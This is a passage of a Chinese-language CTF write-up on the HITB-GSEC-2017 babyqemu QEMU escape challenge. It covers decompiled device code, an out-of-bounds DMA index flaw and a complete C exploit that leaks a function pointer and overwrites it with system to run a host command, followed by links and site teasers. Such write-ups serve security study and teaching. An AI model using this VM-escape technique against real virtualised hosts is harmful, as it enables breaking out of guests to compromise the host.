qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);            timer_mod(&opaque->dma_timer, ns / 1000000 + 100);          }        }        else if ( addr == 132 )        {          if ( (opaque->dma.cmd & 1) == 0 )            *(&opaque->dma.src + 4) = val;        }        else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 )        {          opaque->dma.dst = val;        }      }      else if ( addr == 32 )      {        if ( (val & 0x80) != 0 )          _InterlockedOr(&opaque->status, 0x80u);        else          _InterlockedAnd(&opaque->status, 0xFFFFFF7F);      }      else if ( addr > 0x20 )      {        if ( addr == 96 )        {          v6 = (val | opaque->irq_status) == 0;          opaque->irq_status |= val;          if ( !v6 )            hitb_raise_irq(opaque, 0x60u);        }        else if ( addr == 100 )        {          v5 = ~val;          v6 = (v5 & opaque->irq_status) == 0;          opaque->irq_status &= v5;          if ( v6 && !msi_enabled(&opaque->pdev) )            pci_set_irq(&opaque->pdev, 0);        }      }      else if ( addr == 4 )      {        opaque->addr4 = ~val;      }      else if ( addr == 8 && (opaque->status & 1) == 0 )      {        qemu_mutex_lock(&opaque->thr_mutex);        opaque->fact = v4;        _InterlockedOr(&opaque->status, 1u);        qemu_cond_signal(&opaque->thr_cond);        qemu_mutex_unlock(&opaque->thr_mutex);      }    }  }}
    

    (3)漏洞

    漏洞在hitb_dma_timer內的cpu_physical_memory_rw函數,dma_buf[]內的索引可控,就造成可以越界讀寫。

    翻看前面的結構體發現,可以越界讀enc地址,進行泄露,再將計算出的system@plt寫入enc內,將"cat flag"寫入dma.buf。

    #include #include #include #include #include #include #include #include #include #include #include  #include #include #include  #define MAP_SIZE 4096UL#define MAP_MASK (MAP_SIZE - 1) #define DMA_BASE 0x40000  #define PAGE_SHIFT  12#define PAGE_SIZE   (1 << PAGE_SHIFT)#define PFN_PRESENT (1ull << 63)#define PFN_PFN     ((1ull << 55) - 1) char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0"; unsigned char* tmpbuf;uint64_t tmpbuf_phys_addr;unsigned char* mmio_base; unsigned char* getMMIOBase(){     int fd;    if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {        perror("open pci device");        exit(-1);    }    mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);    if(mmio_base == (void *) -1) {        perror("mmap");        exit(-1);    }    return mmio_base;} // 獲取頁內偏移uint32_t page_offset(uint32_t addr){    // addr & 0xfff    return addr & ((1 << PAGE_SHIFT) - 1);} uint64_t gva_to_gfn(void *addr){    uint64_t pme, gfn;    size_t offset;     int fd;    fd = open("/proc/self/pagemap", O_RDONLY);    if (fd < 0) {        perror("open");        exit(1);    }     // printf("pfn_item_offset : %p", (uintptr_t)addr >> 9);    offset = ((uintptr_t)addr >> 9) & ~7;     ////下面是網上其他人的代碼,只是為了理解上面的代碼    //一開始除以 0x1000  (getpagesize=0x1000,4k對齊,而且本來低12位就是頁內索引,需要去掉),即除以2**12, 這就獲取了頁號了,    //pagemap中一個地址64位,即8字節,也即sizeof(uint64_t),所以有了頁號后,我們需要乘以8去找到對應的偏移從而獲得對應的物理地址    //最終  vir/2^12 * 8 = (vir / 2^9) & ~7    //這跟上面的右移9正好對應,但是為什么要 & ~7 ,因為你  vir >> 12 << 3 , 跟vir >> 9 是有區別的,vir >> 12 << 3低3位肯定是0,所以通過& ~7將低3位置0    // int page_size=getpagesize();    // unsigned long vir_page_idx = vir/page_size;    // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);     lseek(fd, offset, SEEK_SET);    read(fd, &pme, 8);    // 確保頁面存在——page is present.    if (!(pme & PFN_PRESENT))        return -1;    // physical frame number    gfn = pme & PFN_PFN;    return gfn;} uint64_t gva_to_gpa(void *addr){     uint64_t gfn = gva_to_gfn(addr);    assert(gfn != -1);    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);} void mmio_write(uint64_t addr, uint64_t value){    *((uint64_t*)(mmio_base + addr)) = value;} uint64_t mmio_read(uint64_t addr){    return *((uint64_t*)(mmio_base + addr));} void set_cnt(uint64_t val){    mmio_write(144, val);} void set_src(uint64_t val){    mmio_write(128, val);} void set_dst(uint64_t val){    mmio_write(136, val);} void start_dma_timer(uint64_t val){    mmio_write(152, val);} void dma_read(uint64_t offset, uint64_t  cnt){     // 設置dma_buf的索引    set_src(DMA_BASE + offset);    // 設置讀取后要寫入的物理地址    set_dst(tmpbuf_phys_addr);    // 設置讀取的大小    set_cnt(cnt);    // 觸發hitb_dma_timer    start_dma_timer(1|2);    // 等待上面的執行完    sleep(1);} void dma_write(uint64_t offset, char* buf, uint64_t  cnt){    // 將我們要寫的內容先復制到tmpbuf    memcpy(tmpbuf, buf, cnt);    //設置物理地址(要從這讀取寫到dma_buf[opaque->dma.dst-0x40000])    set_src(tmpbuf_phys_addr);    // 設置dma_buf的索引    set_dst(DMA_BASE + offset);    // 設置寫入大小    set_cnt(cnt);    // 觸發hitb_dma_timer    start_dma_timer(1);    // 等待上面的執行完    sleep(1);} void dma_write_qword(uint64_t offset, uint64_t val){    dma_write(offset, (char *)&val, 8);} void dma_enc_read(uint64_t offset, uint64_t  cnt){    // 設置dma_buf的索引    set_src(DMA_BASE + offset);    // 設置讀取后要寫入的物理地址    set_dst(tmpbuf_phys_addr);    // 設置讀取的大小    set_cnt(cnt);    // 觸發hitb_dma_timer    start_dma_timer(1|2|4);    // 等待上面的執行完    sleep(1);} int main(int argc, char const *argv[]){    getMMIOBase();    printf("mmio_base Resource0Base: %p", mmio_base);     tmpbuf = malloc(0x1000);    tmpbuf_phys_addr = gva_to_gpa(tmpbuf);    printf("gva_to_gpa tmpbuf_phys_addr %p", (void*)tmpbuf_phys_addr);      printf("tmpbuf: %p", tmpbuf);    printf("&tmpbuf: %p", &tmpbuf);     // 將enc函數指針寫到tmpbuf_phys_addr,之后通過tmpbuf讀出即可    dma_read(4096, 8);    uint64_t hitb_enc_addr = *((uint64_t*)tmpbuf);    uint64_t binary_base_addr = hitb_enc_addr - 0x283DD0;    uint64_t system_addr = binary_base_addr + 0x1FDB18;    printf("hitb_enc_addr: 0x%lx", hitb_enc_addr);    printf("binary_base_addr: 0x%lx", binary_base_addr);    printf("system_addr: 0x%lx", system_addr);     // 覆蓋enc函數指針為system地址    dma_write_qword(4096, system_addr);    char* command = "cat flag";    dma_write(0x200, command, strlen(command));     // 觸發hitb_dma_timer中的enc函數,從而調用syetem    dma_enc_read(0x200, 666);     return 0;}
    

    參考鏈接:

    https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/

    https://www.anquanke.com/post/id/254906#h3-5

    https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/

    https://www.giantbranch.cn/2020/01/02/CTF%20QEMU%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E9%80%83%E9%80%B8%E4%B9%8BHITB-GSEC-2017-babyqemu/

    題目下載地址

    鏈接: https://pan.baidu.com/s/1vVjJ6ohHGaZTAVfD68OrlQ 

    提取碼: eeee

    qemuchar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    假如想在x86平臺運行arm程序,稱arm為source ISA, 而x86為target ISA, 在虛擬化的角度來說arm就是Guest, x86為Host。這種問題被稱為Code-Discovery Problem。每個體系結構對應的helper函數在target/xxx/helper.h頭文件中定義。
    QEMU逃逸系列
    2022-12-01 09:19:27
    qemu用于模擬設備運行,而qemu逃逸漏洞多發于模擬pci設備中,漏洞形成一般是修改qemu-system代碼,所以漏洞存在于qemu-system文件內。而逃逸就是指利用漏洞從qemu-system模擬的這個小系統逃到主機內,從而在linux主機內達到命令執行的目的。
    00 前言在 HWS2021 入營選拔比賽的時候,遇到了一道 QEMU 逃逸的題目,那個時候就直接莽上去分析了一通,東拼西湊的把 EXP 寫了出來。但是 QEMU 逃逸這部分的內容實在是比較復雜,而且涉及到了很多我完全沒有了解過的知識,所以一直鴿到了現在。System mode:系統模式,在這種模式下,QEMU 可以模擬出一個完整的計算機系統。
    漏洞復現根據官方公告,找到存在漏洞的二進制文件。官方公告:先用binwalk -Me DIR815A1_FW102b06.bin命令解壓固件包,再根據“漏洞描述”中的關鍵詞service.cgi進行查找:找到了所匹配的二進制文件htdocs/cgibin,將其拖進IDA中先進行靜態分析。
    totolink登陸跳過—分析思路
    編譯make x86_64_defconfig # 加載默認configmake menuconfig # 自定義config. 編譯選項添加調試信息, 需要以下幾行[*] Compile the kernel with debug info [*] Generate dwarf4 debuginfo [*] Provide GDB scripts for kernel debugging. 由于本虛擬機是只有很基本的環境,在調試漏洞之前還需要做一些操作, 創建/etc/passwd,?漏洞原理在調試之前首先根據補丁來簡單了解一下漏洞造成的原因。Exp分析根據exp分析漏洞利用的細節,刪除了部分檢測利用條件、備份密碼等漏洞利用不相關代碼。const unsigned pipe_size = fcntl; static char buffer[4096];for { unsigned n = r > sizeof ?int main() { const char *const path = "/etc/passwd";const int fd = open; if { perror; return EXIT_FAILU
    CVE-2019-10999 是 Dlink IP 攝像頭的后端服務器程序 alphapd 中的一個緩沖區溢出漏洞,漏洞允許經過身份認證的用戶在請求 wireless.htm 時,傳入 WEPEncryption 參數一個長字符串來執行任意代碼。
    虛擬機檢測技術整理
    2023-05-11 09:15:35
    第一次嘗試惡意代碼分析就遇到了虛擬機檢測,于是就想著先學習一下檢測的技術然后再嘗試繞過。學習后最終發現,似乎最好的方法不應該是去patch所有檢測方法,而是直接調試并定位檢測函數再繞過。但既然已經研究了兩天,索性將收集到的資料整理一下,方便后人查找。惡意軟件可以搜索這些文件、目錄或進程的存在。VMware 虛擬機中可能會有如下的文件列表:C:\Program Files\VMware\
    可是當我們開啟了smap保護之后,內核態就沒有辦法訪問用戶態的數據,此時當我們再hijack tty_operation到我們的用戶態時,我們的kernel就會panic,更別說劫持執行流到用戶態上執行rop了。當我們調用msgsnd時,在linux內核中會調用do_msgsnd。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类